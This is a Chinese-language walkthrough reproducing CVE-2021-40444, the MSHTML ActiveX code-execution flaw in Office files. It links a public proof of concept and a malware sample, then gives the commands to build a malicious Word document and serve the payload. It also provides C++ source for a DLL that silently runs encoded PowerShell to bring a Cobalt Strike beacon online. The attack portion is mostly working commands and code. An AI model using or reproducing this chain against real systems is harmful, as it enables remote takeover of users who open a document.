0x01 漏洞描述
CVE-2021-40444:微软MSHTML引擎存在代码执行漏洞,攻击者通过精心制作包含恶意ActiveX的Offcie文档,诱导用户打开,从而实现远程代码执行。当用户主机启用了ActiveX控件,攻击者可通过该漏洞控制受害者主机。
0x02 影响版本
全版本
0x03 漏洞工具
poc下载地址
https://github.com/lockedbyte/CVE-2021-40444
0x04 样本分析
样本下载
https://bazaar.abuse.ch/sample/938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52/
下载样本,将docx改成zip,使用zip解压即可
可以看出文件中引用了mhtml,然后Windows默认浏览器执行ActiveX最后造成代码执行。
\word\_rels\document.xml.rels
可以发现其是指向文件的更新链接
0x05 复现
1.弹计算器
安装lcab
apt-get install lcab
运行脚本生成word文档
python3 exploit.py generate test/calc.dll http://<SRV IP>
运行脚本监听80端口,默认为srv目录
python3 exploit.py host 80
打开word文档,即可弹出计算器
弹计算器肯定是不够的,不如来上线个cs
2.上线cs
先使用cs生成powershell
将生成的powershell代码复制到下面
#include "pch.h"
#include "windows.h"
#include <cstdlib>
void exec(void) {
system("powershell -nop -w hidden -encodedcommand xxxxx");
return;
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
exec();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
使用vs2019编译dll
将编译后的dll文件复制到test目录
运行脚本生成word文档
python3 exploit.py generate test/Dll1.dll http://10.108.3.157
监听80端口,点击启动编辑(由于是从网上下载的文件会有以下提示)
python3 exploit.py host 80
看到成功有访问记录
cs成功上线
参考地址
https://mp.weixin.qq.com/s/4h8nNW3FEKmEltg6eUgopg
https://mp.weixin.qq.com/s/hjjLKQCiaVUKWOw1jzQE9A